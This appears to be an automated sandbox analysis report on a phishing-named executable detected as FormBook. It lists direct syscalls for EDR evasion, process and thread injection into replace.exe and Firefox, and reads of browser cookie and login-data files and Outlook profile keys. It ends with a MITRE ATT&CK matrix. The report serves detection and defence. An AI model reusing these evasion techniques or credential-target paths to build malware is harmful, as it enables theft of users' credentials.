Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E0BCB mov eax, dword ptr fs:[00000030h]	2_2_019E0BCB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EEBFC mov eax, dword ptr fs:[00000030h]	2_2_019EEBFC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8BF0 mov eax, dword ptr fs:[00000030h]	2_2_019C8BF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8BF0 mov eax, dword ptr fs:[00000030h]	2_2_019C8BF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8BF0 mov eax, dword ptr fs:[00000030h]	2_2_019C8BF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6EBD0 mov eax, dword ptr fs:[00000030h]	2_2_01A6EBD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A88B28 mov eax, dword ptr fs:[00000030h]	2_2_01A88B28
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A88B28 mov eax, dword ptr fs:[00000030h]	2_2_01A88B28
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94B00 mov eax, dword ptr fs:[00000030h]	2_2_01A94B00
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3EB1D mov eax, dword ptr fs:[00000030h]	2_2_01A3EB1D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EEB20 mov eax, dword ptr fs:[00000030h]	2_2_019EEB20
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EEB20 mov eax, dword ptr fs:[00000030h]	2_2_019EEB20
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8B50 mov eax, dword ptr fs:[00000030h]	2_2_019B8B50
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A68B42 mov eax, dword ptr fs:[00000030h]	2_2_01A68B42
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56B40 mov eax, dword ptr fs:[00000030h]	2_2_01A56B40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56B40 mov eax, dword ptr fs:[00000030h]	2_2_01A56B40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BCB7E mov eax, dword ptr fs:[00000030h]	2_2_019BCB7E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8AB40 mov eax, dword ptr fs:[00000030h]	2_2_01A8AB40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A74B4B mov eax, dword ptr fs:[00000030h]	2_2_01A74B4B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A74B4B mov eax, dword ptr fs:[00000030h]	2_2_01A74B4B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6EB50 mov eax, dword ptr fs:[00000030h]	2_2_01A6EB50
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A92B57 mov eax, dword ptr fs:[00000030h]	2_2_01A92B57
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A92B57 mov eax, dword ptr fs:[00000030h]	2_2_01A92B57
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A92B57 mov eax, dword ptr fs:[00000030h]	2_2_01A92B57
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A92B57 mov eax, dword ptr fs:[00000030h]	2_2_01A92B57
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A16AA4 mov eax, dword ptr fs:[00000030h]	2_2_01A16AA4
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F8A90 mov edx, dword ptr fs:[00000030h]	2_2_019F8A90
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80 mov eax, dword ptr fs:[00000030h]	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94A80 mov eax, dword ptr fs:[00000030h]	2_2_01A94A80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8AA0 mov eax, dword ptr fs:[00000030h]	2_2_019C8AA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8AA0 mov eax, dword ptr fs:[00000030h]	2_2_019C8AA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0AD0 mov eax, dword ptr fs:[00000030h]	2_2_019C0AD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F4AD0 mov eax, dword ptr fs:[00000030h]	2_2_019F4AD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F4AD0 mov eax, dword ptr fs:[00000030h]	2_2_019F4AD0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A16ACC mov eax, dword ptr fs:[00000030h]	2_2_01A16ACC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A16ACC mov eax, dword ptr fs:[00000030h]	2_2_01A16ACC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A16ACC mov eax, dword ptr fs:[00000030h]	2_2_01A16ACC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FAAEE mov eax, dword ptr fs:[00000030h]	2_2_019FAAEE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FAAEE mov eax, dword ptr fs:[00000030h]	2_2_019FAAEE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FCA38 mov eax, dword ptr fs:[00000030h]	2_2_019FCA38
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E4A35 mov eax, dword ptr fs:[00000030h]	2_2_019E4A35
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E4A35 mov eax, dword ptr fs:[00000030h]	2_2_019E4A35
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EEA2E mov eax, dword ptr fs:[00000030h]	2_2_019EEA2E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4CA11 mov eax, dword ptr fs:[00000030h]	2_2_01A4CA11
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FCA24 mov eax, dword ptr fs:[00000030h]	2_2_019FCA24
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0A5B mov eax, dword ptr fs:[00000030h]	2_2_019D0A5B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0A5B mov eax, dword ptr fs:[00000030h]	2_2_019D0A5B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6EA60 mov eax, dword ptr fs:[00000030h]	2_2_01A6EA60
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C6A50 mov eax, dword ptr fs:[00000030h]	2_2_019C6A50

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: NULL target: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: NULL target: C:\Windows\SysWOW64\replace.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: NULL target: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: NULL target: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\replace.exe

Thread register set: target process: 3752

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\replace.exe

Thread APC queued: target process: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe

Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process created: C:\Users\user\Desktop\PO For Bulk Order.exe "C:\Users\user\Desktop\PO For Bulk Order.exe"	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000000.2390713621.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000002.4598492682.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599076287.00000000015E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000000.2390713621.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000002.4598492682.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599076287.00000000015E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000000.2390713621.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000002.4598492682.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599076287.00000000015E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000000.2390713621.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000002.4598492682.0000000000CC1000.00000002.00000001.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599076287.00000000015E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Users\user\Desktop\PO For Bulk Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4599413543.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4601895493.0000000005240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4599574660.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2465368058.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4597409244.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467518460.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467806295.00000000028A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598849499.0000000002D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\replace.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PO For Bulk Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4599413543.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4601895493.0000000005240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4599574660.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2465368058.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4597409244.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467518460.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467806295.00000000028A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598849499.0000000002D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	312 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
